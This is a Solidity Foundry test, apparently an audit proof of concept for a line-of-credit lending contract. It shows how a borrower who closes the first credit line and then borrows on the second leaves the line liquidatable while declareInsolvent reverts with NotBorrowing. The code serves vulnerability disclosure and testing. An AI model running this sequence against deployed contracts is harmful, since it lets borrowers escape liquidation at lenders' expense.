modifier whileBorrowing() {
    if(count == 0 || credits[ids[0]].principal == 0) { revert NotBorrowing(); }
    _;
}
function _addCreditLender2(address token, uint256 amount) public {
    // Prepare lender 2 operations, does same as mintAndApprove()
    address lender2 = address(21);
    deal(lender2, mintAmount);
    supportedToken1.mint(lender2, mintAmount);
    supportedToken2.mint(lender2, mintAmount);
    unsupportedToken.mint(lender2, mintAmount);
    vm.startPrank(lender2);
    supportedToken1.approve(address(line), MAX_INT);
    supportedToken2.approve(address(line), MAX_INT);
    unsupportedToken.approve(address(line), MAX_INT);
    vm.stopPrank();
    // addCredit logic
    vm.prank(borrower);
    line.addCredit(dRate, fRate, amount, token, lender2);
    vm.stopPrank();
    vm.prank(lender2);
    line.addCredit(dRate, fRate, amount, token, lender2);
    vm.stopPrank();
}
function test_attackUnliquidatable() public {
    bytes32 id_1;
    bytes32 id_2;
    _addCredit(address(supportedToken1), 1 ether);
    _addCreditLender2(address(supportedToken1), 1 ether);
    id_1 =  line.ids(0);
    id_2 =  line.ids(1);
    hoax(borrower);
    line.close(id_1);
    hoax(borrower);
    line.borrow(id_2, 1 ether);
    id_1 =  line.ids(0);
    id_2 = line.ids(1);
    console.log("id1 : ", uint256(id_1));
    console.log("id2 : ", uint256(id_2));
    vm.warp(ttl+1);
    assert(line.healthcheck() == LineLib.STATUS.LIQUIDATABLE);
    vm.expectRevert(ILineOfCredit.NotBorrowing.selector);
    bool isSolvent = line.declareInsolvent();
}
